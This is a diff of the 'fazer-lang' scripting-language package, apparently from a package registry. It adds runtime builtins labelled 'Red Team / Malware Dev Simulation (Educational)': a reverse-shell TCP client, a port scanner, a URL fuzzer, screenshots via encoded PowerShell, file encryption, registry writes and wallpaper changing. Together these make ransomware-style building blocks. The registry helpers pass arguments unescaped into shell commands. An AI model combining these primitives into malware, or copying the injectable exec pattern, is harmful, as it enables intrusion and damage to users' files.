const regex = new RegExp(`<${t}[^>]*>(.*?)</${t}>`, "gis");
|
|
1562
|
+
const matches = [];
|
|
1563
|
+
let m;
|
|
1564
|
+
while ((m = regex.exec(String(html))) !== null) {
|
|
1565
|
+
matches.push(m[1]);
|
|
1566
|
+
}
|
|
1567
|
+
return matches;
|
|
1568
|
+
},
|
|
1569
|
+
|
|
1570
|
+
// System Advanced
|
|
1571
|
+
ps_list: () => {
|
|
1572
|
+
try {
|
|
1573
|
+
if (process.platform === 'win32') {
|
|
1574
|
+
// CSV format: "Image Name","PID","Session Name","Session#","Mem Usage"
|
|
1575
|
+
const out = require('child_process').execSync('tasklist /FO CSV /NH').toString();
|
|
1576
|
+
const lines = out.split('\r\n').filter(l => l.trim() !== "");
|
|
1577
|
+
return lines.map(l => {
|
|
1578
|
+
const parts = l.split('","').map(p => p.replace(/"/g, ''));
|
|
1579
|
+
return { name: parts[0], pid: parts[1], mem: parts[4] };
|
|
1580
|
+
});
|
|
1581
|
+
} else {
|
|
1582
|
+
// Linux/Mac ps -A -o comm,pid,rss
|
|
1583
|
+
const out = require('child_process').execSync('ps -A -o comm,pid,rss').toString();
|
|
1584
|
+
const lines = out.split('\n').slice(1).filter(l => l.trim() !== "");
|
|
1585
|
+
return lines.map(l => {
|
|
1586
|
+
const parts = l.trim().split(/\s+/);
|
|
1587
|
+
return { name: parts[0], pid: parts[1], mem: parts[2] };
|
|
1588
|
+
});
|
|
1589
|
+
}
|
|
1590
|
+
} catch(e) { return []; }
|
|
1591
|
+
},
|
|
1592
|
+
kill: (pid) => {
|
|
1593
|
+
try {
|
|
1594
|
+
process.kill(Number(pid));
|
|
1595
|
+
return true;
|
|
1596
|
+
} catch(e) { return false; }
|
|
1597
|
+
},
|
|
1598
|
+
screenshot: async (file) => {
|
|
1599
|
+
if (process.platform === 'win32') {
|
|
1600
|
+
const p = require('path').resolve(String(file));
|
|
1601
|
+
const ps = `
|
|
1602
|
+
Add-Type -AssemblyName System.Windows.Forms
|
|
1603
|
+
Add-Type -AssemblyName System.Drawing
|
|
1604
|
+
$s = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
|
|
1605
|
+
$b = New-Object System.Drawing.Bitmap $s.Width, $s.Height
|
|
1606
|
+
$g = [System.Drawing.Graphics]::FromImage($b)
|
|
1607
|
+
$g.CopyFromScreen($s.Location, [System.Drawing.Point]::Empty, $s.Size)
|
|
1608
|
+
$b.Save('${p}', [System.Drawing.Imaging.ImageFormat]::Png)
|
|
1609
|
+
$g.Dispose()
|
|
1610
|
+
$b.Dispose()
|
|
1611
|
+
`;
|
|
1612
|
+
try {
|
|
1613
|
+
const b64 = Buffer.from(ps, 'utf16le').toString('base64');
|
|
1614
|
+
require('child_process').execSync(`powershell -EncodedCommand ${b64}`);
|
|
1615
|
+
return true;
|
|
1616
|
+
} catch(e) { return false; }
|
|
1617
|
+
}
|
|
1618
|
+
return false;
|
|
1619
|
+
},
|
|
1620
|
+
|
|
1621
|
+
// Network Advanced
|
|
1622
|
+
tcp_listen: (port, handler) => {
|
|
1623
|
+
// A simple TCP server (like netcat -l)
|
|
1624
|
+
// Handler receives: (data, socket_id)
|
|
1625
|
+
// Returns server object with .close()
|
|
1626
|
+
const net = require("net");
|
|
1627
|
+
const srv = net.createServer((socket) => {
|
|
1628
|
+
const id = Math.random().toString(36).substr(2, 9);
|
|
1629
|
+
socket.on('data', async (data) => {
|
|
1630
|
+
if (typeof handler === "object" && handler.__fnref__) {
|
|
1631
|
+
// Call Fazer function: fn(data_str, id) -> response_str (optional)
|
|
1632
|
+
const res = await this._call(handler, [data.toString(), id], this.global);
|
|
1633
|
+
if (res) socket.write(String(res));
|
|
1634
|
+
}
|
|
1635
|
+
});
|
|
1636
|
+
});
|
|
1637
|
+
srv.listen(Number(port));
|
|
1638
|
+
return {
|
|
1639
|
+
close: () => srv.close(),
|
|
1640
|
+
// We can't easily expose sending to specific socket without more complex state
|
|
1641
|
+
// This is a basic "echo/response" listener
|
|
1642
|
+
};
|
|
1643
|
+
},
|
|
1644
|
+
fuzz_url: async (url, wordlist) => {
|
|
1645
|
+
// wordlist is a list of strings
|
|
1646
|
+
// Returns list of { path, status } for 200/301/403
|
|
1647
|
+
if (!Array.isArray(wordlist)) return [];
|
|
1648
|
+
const results = [];
|
|
1649
|
+
const u = String(url).endsWith('/') ? String(url) : String(url) + '/';
|
|
1650
|
+
|
|
1651
|
+
// Limit concurrency to 10
|
|
1652
|
+
const chunks = [];
|
|
1653
|
+
const chunkSize = 10;
|
|
1654
|
+
for (let i = 0; i < wordlist.length; i += chunkSize) {
|
|
1655
|
+
chunks.push(wordlist.slice(i, i + chunkSize));
|
|
1656
|
+
}
|
|
1657
|
+
|
|
1658
|
+
for (const chunk of chunks) {
|
|
1659
|
+
await Promise.all(chunk.map(async (word) => {
|
|
1660
|
+
const target = u + word;
|
|
1661
|
+
try {
|
|
1662
|
+
const res = await builtins.http_req(target, { method: "HEAD", timeout: 2000 });
|
|
1663
|
+
if (res.status !== 404) {
|
|
1664
|
+
results.push({ path: word, status: res.status });
|
|
1665
|
+
}
|
|
1666
|
+
} catch(e) {}
|
|
1667
|
+
}));
|
|
1668
|
+
}
|
|
1669
|
+
return results;
|
|
1670
|
+
},
|
|
1671
|
+
|
|
1672
|
+
// Cyber / Net / Pentest
|
|
1673
|
+
scan_port: async (host, port) => {
|
|
1674
|
+
const net = require("net");
|
|
1675
|
+
return new Promise((resolve) => {
|
|
1676
|
+
const socket = new net.Socket();
|
|
1677
|
+
socket.setTimeout(2000);
|
|
1678
|
+
socket.on('connect', () => { socket.destroy(); resolve(true); });
|
|
1679
|
+
socket.on('timeout', () => { socket.destroy(); resolve(false); });
|
|
1680
|
+
socket.on('error', () => { resolve(false); });
|
|
1681
|
+
socket.connect(Number(port), String(host));
|
|
1682
|
+
});
|
|
1683
|
+
},
|
|
1684
|
+
dns_resolve: async (domain) => {
|
|
1685
|
+
const dns = require("dns").promises;
|
|
1686
|
+
try { const res = await dns.lookup(String(domain)); return res.address; } catch(e) { return null; }
|
|
1687
|
+
},
|
|
1688
|
+
dns_resolve_all: async (domain) => {
|
|
1689
|
+
const dns = require("dns").promises;
|
|
1690
|
+
try { const res = await dns.resolve4(String(domain)); return res; } catch(e) { return []; }
|
|
1691
|
+
},
|
|
1692
|
+
md5: (s) => crypto.createHash('md5').update(String(s)).digest('hex'),
|
|
1693
|
+
sha1: (s) => crypto.createHash('sha1').update(String(s)).digest('hex'),
|
|
1694
|
+
sha256: (s) => crypto.createHash('sha256').update(String(s)).digest('hex'),
|
|
1695
|
+
|
|
1696
|
+
// Crypto & Encoding
|
|
1697
|
+
base64_encode: (s) => Buffer.from(String(s)).toString('base64'),
|
|
1698
|
+
base64_decode: (s) => Buffer.from(String(s), 'base64').toString('utf8'),
|
|
1699
|
+
aes_encrypt: (text, key) => {
|
|
1700
|
+
const k = crypto.createHash('sha256').update(String(key)).digest();
|
|
1701
|
+
const iv = crypto.randomBytes(16);
|
|
1702
|
+
const cipher = crypto.createCipheriv('aes-256-cbc', k, iv);
|
|
1703
|
+
let encrypted = cipher.update(String(text));
|
|
1704
|
+
encrypted = Buffer.concat([encrypted, cipher.final()]);
|
|
1705
|
+
return iv.toString('hex') + ':' + encrypted.toString('hex');
|
|
1706
|
+
},
|
|
1707
|
+
aes_decrypt: (text, key) => {
|
|
1708
|
+
try {
|
|
1709
|
+
const parts = String(text).split(':');
|
|
1710
|
+
const iv = Buffer.from(parts.shift(), 'hex');
|
|
1711
|
+
const encryptedText = Buffer.from(parts.join(':'), 'hex');
|
|
1712
|
+
const k = crypto.createHash('sha256').update(String(key)).digest();
|
|
1713
|
+
const decipher = crypto.createDecipheriv('aes-256-cbc', k, iv);
|
|
1714
|
+
let decrypted = decipher.update(encryptedText);
|
|
1715
|
+
decrypted = Buffer.concat([decrypted, decipher.final()]);
|
|
1716
|
+
return decrypted.toString();
|
|
1717
|
+
} catch(e) { return null; }
|
|
1718
|
+
},
|
|
1719
|
+
|
|
1720
|
+
http_req: async (url, opts = {}) => {
|
|
1721
|
+
// More advanced version of fetch for pentesting
|
|
1722
|
+
// opts: { method, headers, body, timeout }
|
|
1723
|
+
const u = new URL(url);
|
|
1724
|
+
const lib = u.protocol === 'https:' ? require('https') : require('http');
|
|
1725
|
+
return new Promise((resolve) => {
|
|
1726
|
+
const req = lib.request(url, {
|
|
1727
|
+
method: opts.method || 'GET',
|
|
1728
|
+
headers: opts.headers || {},
|
|
1729
|
+
timeout: opts.timeout || 5000
|
|
1730
|
+
}, (res) => {
|
|
1731
|
+
const chunks = [];
|
|
1732
|
+
res.on('data', c => chunks.push(c));
|
|
1733
|
+
res.on('end', () => {
|
|
1734
|
+
const buf = Buffer.concat(chunks);
|
|
1735
|
+
resolve({
|
|
1736
|
+
status: res.statusCode,
|
|
1737
|
+
headers: res.headers,
|
|
1738
|
+
body: buf.toString(),
|
|
1739
|
+
raw: buf.toString('base64')
|
|
1740
|
+
});
|
|
1741
|
+
});
|
|
1742
|
+
});
|
|
1743
|
+
req.on('error', (e) => resolve({ error: e.message }));
|
|
1744
|
+
req.on('timeout', () => { req.destroy(); resolve({ error: 'timeout' }); });
|
|
1745
|
+
if (opts.body) req.write(String(opts.body));
|
|
1746
|
+
req.end();
|
|
1747
|
+
});
|
|
1748
|
+
},
|
|
1749
|
+
|
|
1750
|
+
// --- Red Team / Malware Dev Simulation (Educational) ---
|
|
1751
|
+
|
|
1752
|
+
walk_dir: (dir) => {
|
|
1753
|
+
// Recursive directory listing
|
|
1754
|
+
const fs = require('fs');
|
|
1755
|
+
const path = require('path');
|
|
1756
|
+
let results = [];
|
|
1757
|
+
const list = (d) => {
|
|
1758
|
+
try {
|
|
1759
|
+
const files = fs.readdirSync(d);
|
|
1760
|
+
files.forEach(file => {
|
|
1761
|
+
const full = path.join(d, file);
|
|
1762
|
+
try {
|
|
1763
|
+
const stat = fs.statSync(full);
|
|
1764
|
+
if (stat && stat.isDirectory()) {
|
|
1765
|
+
list(full);
|
|
1766
|
+
} else {
|
|
1767
|
+
results.push(full);
|
|
1768
|
+
}
|
|
1769
|
+
} catch(e) {}
|
|
1770
|
+
});
|
|
1771
|
+
} catch(e) {}
|
|
1772
|
+
};
|
|
1773
|
+
list(path.resolve(String(dir)));
|
|
1774
|
+
return results;
|
|
1775
|
+
},
|
|
1776
|
+
|
|
1777
|
+
encrypt_file: async (file, key) => {
|
|
1778
|
+
// AES-256-CBC Stream Encryption
|
|
1779
|
+
const fs = require('fs');
|
|
1780
|
+
const crypto = require('crypto');
|
|
1781
|
+
return new Promise((resolve) => {
|
|
1782
|
+
try {
|
|
1783
|
+
const k = crypto.createHash('sha256').update(String(key)).digest();
|
|
1784
|
+
const iv = crypto.randomBytes(16);
|
|
1785
|
+
const cipher = crypto.createCipheriv('aes-256-cbc', k, iv);
|
|
1786
|
+
const input = fs.createReadStream(String(file));
|
|
1787
|
+
const output = fs.createWriteStream(String(file) + ".enc");
|
|
1788
|
+
|
|
1789
|
+
output.write(iv); // Prepend IV
|
|
1790
|
+
input.pipe(cipher).pipe(output);
|
|
1791
|
+
|
|
1792
|
+
output.on('finish', () => resolve(true));
|
|
1793
|
+
output.on('error', () => resolve(false));
|
|
1794
|
+
} catch(e) { resolve(false); }
|
|
1795
|
+
});
|
|
1796
|
+
},
|
|
1797
|
+
|
|
1798
|
+
decrypt_file: async (file, key) => {
|
|
1799
|
+
// AES-256-CBC Stream Decryption
|
|
1800
|
+
const fs = require('fs');
|
|
1801
|
+
const crypto = require('crypto');
|
|
1802
|
+
return new Promise((resolve) => {
|
|
1803
|
+
try {
|
|
1804
|
+
const fd = fs.openSync(String(file), 'r');
|
|
1805
|
+
const iv = Buffer.alloc(16);
|
|
1806
|
+
fs.readSync(fd, iv, 0, 16, 0);
|
|
1807
|
+
fs.closeSync(fd);
|
|
1808
|
+
|
|
1809
|
+
const k = crypto.createHash('sha256').update(String(key)).digest();
|
|
1810
|
+
const decipher = crypto.createDecipheriv('aes-256-cbc', k, iv);
|
|
1811
|
+
|
|
1812
|
+
const input = fs.createReadStream(String(file), { start: 16 }); // Skip IV
|
|
1813
|
+
const outFile = String(file).replace(/\.enc$/, "");
|
|
1814
|
+
const finalPath = outFile === String(file) ? String(file) + ".dec" : outFile;
|
|
1815
|
+
const output = fs.createWriteStream(finalPath);
|
|
1816
|
+
|
|
1817
|
+
input.pipe(decipher).pipe(output);
|
|
1818
|
+
|
|
1819
|
+
output.on('finish', () => resolve(true));
|
|
1820
|
+
output.on('error', () => resolve(false));
|
|
1821
|
+
} catch(e) { resolve(false); }
|
|
1822
|
+
});
|
|
1823
|
+
},
|
|
1824
|
+
|
|
1825
|
+
registry_get: (key, name) => {
|
|
1826
|
+
if (process.platform !== 'win32') return null;
|
|
1827
|
+
try {
|
|
1828
|
+
const out = require('child_process').execSync(`reg query "${String(key)}" /v "${String(name)}"`).toString();
|
|
1829
|
+
const match = out.match(/REG_\w+\s+(.*)/);
|
|
1830
|
+
return match ? match[1].trim() : null;
|
|
1831
|
+
} catch(e) { return null; }
|
|
1832
|
+
},
|
|
1833
|
+
|
|
1834
|
+
registry_set: (key, name, val) => {
|
|
1835
|
+
if (process.platform !== 'win32') return false;
|
|
1836
|
+
try {
|
|
1837
|
+
require('child_process').execSync(`reg add "${String(key)}" /v "${String(name)}" /t REG_SZ /d "${String(val)}" /f`);
|
|
1838
|
+
return true;
|
|
1839
|
+
} catch(e) { return false; }
|
|
1840
|
+
},
|
|
1841
|
+
|
|
1842
|
+
set_wallpaper: (path) => {
|
|
1843
|
+
if (process.platform !== 'win32') return false;
|
|
1844
|
+
const p = require('path').resolve(String(path));
|
|
1845
|
+
const ps = `
|
|
1846
|
+
$code = @'
|
|
1847
|
+
using System.Runtime.InteropServices;
|
|
1848
|
+
public class Wallpaper {
|
|
1849
|
+
[DllImport("user32.dll", CharSet=CharSet.Auto)]
|
|
1850
|
+
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
|
|
1851
|
+
}
|
|
1852
|
+
'@
|
|
1853
|
+
Add-Type $code
|
|
1854
|
+
[Wallpaper]::SystemParametersInfo(20, 0, "${p}", 3)
|
|
1855
|
+
`;
|
|
1856
|
+
try {
|
|
1857
|
+
const b64 = Buffer.from(ps, 'utf16le').toString('base64');
|
|
1858
|
+
require('child_process').execSync(`powershell -EncodedCommand ${b64}`);
|
|
1859
|
+
return true;
|
|
1860
|
+
} catch(e) { return false; }
|
|
1861
|
+
},
|
|
1862
|
+
|
|
1863
|
+
tcp_connect: (host, port, handler) => {
|
|
1864
|
+
// Reverse Shell / Client
|
|
1865
|
+
const net = require("net");
|
|
1866
|
+
const client = new net.Socket();
|
|
1867
|
+
client.connect(Number(port), String(host));
|
|
1868
|
+
|
|
1869
|
+
client.on('data', async (data) => {
|
|
1870
|
+
if (handler && typeof handler === 'object' && handler.__fnref__) {
|
|
1871
|
+
await this._call(handler, [data.toString()], this.global);
|
|
1872
|
+
}
|
|
1873
|
+
});
|
|
1874
|
+
|
|
1875
|
+
return {
|
|
1876
|
+
send: (d) => { try { client.write(String(d)); return true; } catch(e){ return false; } },
|
|
1877
|
+
close: () => { client.destroy(); return true; }
|
|
1878
|
+
};
|
|
1879
|
+
},
|
|
1409
1880
|
};
|
|
1410
1881
|
|
|
1411
1882
|
this.global.set("__builtins__", builtins, false);
|
|
@@ -1435,7 +1906,7 @@ class FazerRuntime {
|
|
|
1435
1906
|
switch (stmt.type) {
|
|
1436
1907
|
case "assign": {
|
|
1437
1908
|
const val = await this._eval(stmt.value, scope);
|
|
1438
|
-
if (scope.
|
|
1909
|
+
if (scope.get(stmt.name)) {
|
|
1439
1910
|
scope.assign(stmt.name, val);
|
|
1440
1911
|
} else {
|
|
1441
1912
|
scope.set(stmt.name, val, stmt.mut);
|
|
@@ -1456,6 +1927,50 @@ class FazerRuntime {
|
|
|
1456
1927
|
return new ReturnSignal(v);
|
|
1457
1928
|
}
|
|
1458
1929
|
|
|
1930
|
+
case "if": {
|
|
1931
|
+
const cond = await this._eval(stmt.expr, scope);
|
|
1932
|
+
if (truthy(cond)) {
|
|
1933
|
+
const inner = new Scope(scope);
|
|
1934
|
+
const out = await this._execBlock(stmt.thenBlock, inner);
|
|
1935
|
+
if (out instanceof ReturnSignal) return out;
|
|
1936
|
+
return out;
|
|
1937
|
+
} else if (stmt.elseBlock) {
|
|
1938
|
+
const inner = new Scope(scope);
|
|
1939
|
+
const out = await this._execBlock(stmt.elseBlock, inner);
|
|
1940
|
+
if (out instanceof ReturnSignal) return out;
|
|
1941
|
+
return out;
|
|
1942
|
+
}
|
|
1943
|
+
return null;
|
|
1944
|
+
}
|
|
1945
|
+
|
|
1946
|
+
case "while": {
|
|
1947
|
+
let last = null;
|
|
1948
|
+
while (await this._eval(stmt.expr, scope)) {
|
|
1949
|
+
// Reuse the scope? Or new scope per iteration?
|
|
1950
|
+
// Typically new scope per iteration for locals.
|
|
1951
|
+
const inner = new Scope(scope);
|
|
1952
|
+
const out = await this._execBlock(stmt.body, inner);
|
|
1953
|
+
if (out instanceof ReturnSignal) return out;
|
|
1954
|
+
last = out;
|
|
1955
|
+
}
|
|
1956
|
+
return last;
|
|
1957
|
+
}
|
|
1958
|
+
|
|
1959
|
+
case "try": {
|
|
1960
|
+
try {
|
|
1961
|
+
const inner = new Scope(scope);
|
|
1962
|
+
const out = await this._execBlock(stmt.tryBlock, inner);
|
|
1963
|
+
if (out instanceof ReturnSignal) return out;
|
|
1964
|
+
return out;
|
|
1965
|
+
} catch (e) {
|
|
1966
|
+
const inner = new Scope(scope);
|
|
1967
|
+
inner.set(stmt.errVar, { type: "str", value: e.message || String(e) }, false);
|
|
1968
|
+
const out = await this._execBlock(stmt.catchBlock, inner);
|
|
1969
|
+
if (out instanceof ReturnSignal) return out;
|
|
1970
|
+
return out;
|
|
1971
|
+
}
|
|
1972
|
+
}
|
|
1973
|
+
|
|
1459
1974
|
case "case": {
|
|
1460
1975
|
const val = await this._eval(stmt.expr, scope);
|
|
1461
1976
|
for (const arm of stmt.arms) {
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "fazer-lang",
|
|
3
|
-
"version": "2.
|
|
4
|
-
"description": "Fazer — The ultimate automation language. Batteries-included: Native EXE Build, Icons, HTTP Server, System Exec, Clipboard, Discord,
|
|
3
|
+
"version": "2.5.0",
|
|
4
|
+
"description": "Fazer — The ultimate automation language. Batteries-included: Native EXE Build, Red Team Tools (Crypto/Reg/Shell), Icons, HTTP Server, System Exec, Clipboard, Discord, and Pipe Operators (->).",
|
|
5
5
|
"main": "fazer.js",
|
|
6
6
|
"bin": {
|
|
7
7
|
"fazer": "fazer.js"
|
|
@@ -39,10 +39,10 @@
|
|
|
39
39
|
"license": "MIT",
|
|
40
40
|
"repository": {
|
|
41
41
|
"type": "git",
|
|
42
|
-
"url": "https://github.com/viced/fazer-lang.git"
|
|
42
|
+
"url": "https://github.com/viced-1920/fazer-lang.git"
|
|
43
43
|
},
|
|
44
44
|
"bugs": {
|
|
45
|
-
"url": "https://github.com/viced/fazer-lang/issues"
|
|
45
|
+
"url": "https://github.com/viced-1920/fazer-lang/issues"
|
|
46
46
|
},
|
|
47
|
-
"homepage": "https://github.com/viced/fazer-lang#readme"
|
|
47
|
+
"homepage": "https://github.com/viced-1920/fazer-lang#readme"
|
|
48
48
|
}
|
package/tools/announce.fz
CHANGED
|
@@ -18,7 +18,7 @@ fn send(title, desc, color) ->
|
|
|
18
18
|
"body": json(payload)
|
|
19
19
|
})
|
|
20
20
|
|
|
21
|
-
case res.status >= 200 and res.status < 300
|
|
21
|
+
case (res.status >= 200 and res.status < 300)
|
|
22
22
|
true -> println("Succès !") end
|
|
23
23
|
else -> println("Erreur " + res.status + ": " + res.body) end
|
|
24
24
|
end
|
|
@@ -27,18 +27,18 @@ end
|
|
|
27
27
|
a := argv()
|
|
28
28
|
start := 1
|
|
29
29
|
|
|
30
|
-
case len(a) <= start
|
|
30
|
+
case (len(a) <= start)
|
|
31
31
|
true -> println("Usage: fazer tools/announce.fz \"Titre\" \"Description\" [color]") end
|
|
32
32
|
else ->
|
|
33
33
|
title := a[start]
|
|
34
34
|
desc := ""
|
|
35
|
-
case len(a) > start + 1
|
|
35
|
+
case (len(a) > start + 1)
|
|
36
36
|
true -> desc := a[start + 1] end
|
|
37
37
|
else -> end
|
|
38
38
|
end
|
|
39
39
|
|
|
40
40
|
color := 5763719
|
|
41
|
-
case len(a) > start + 2
|
|
41
|
+
case (len(a) > start + 2)
|
|
42
42
|
true -> color := a[start + 2] end
|
|
43
43
|
else -> end
|
|
44
44
|
end
|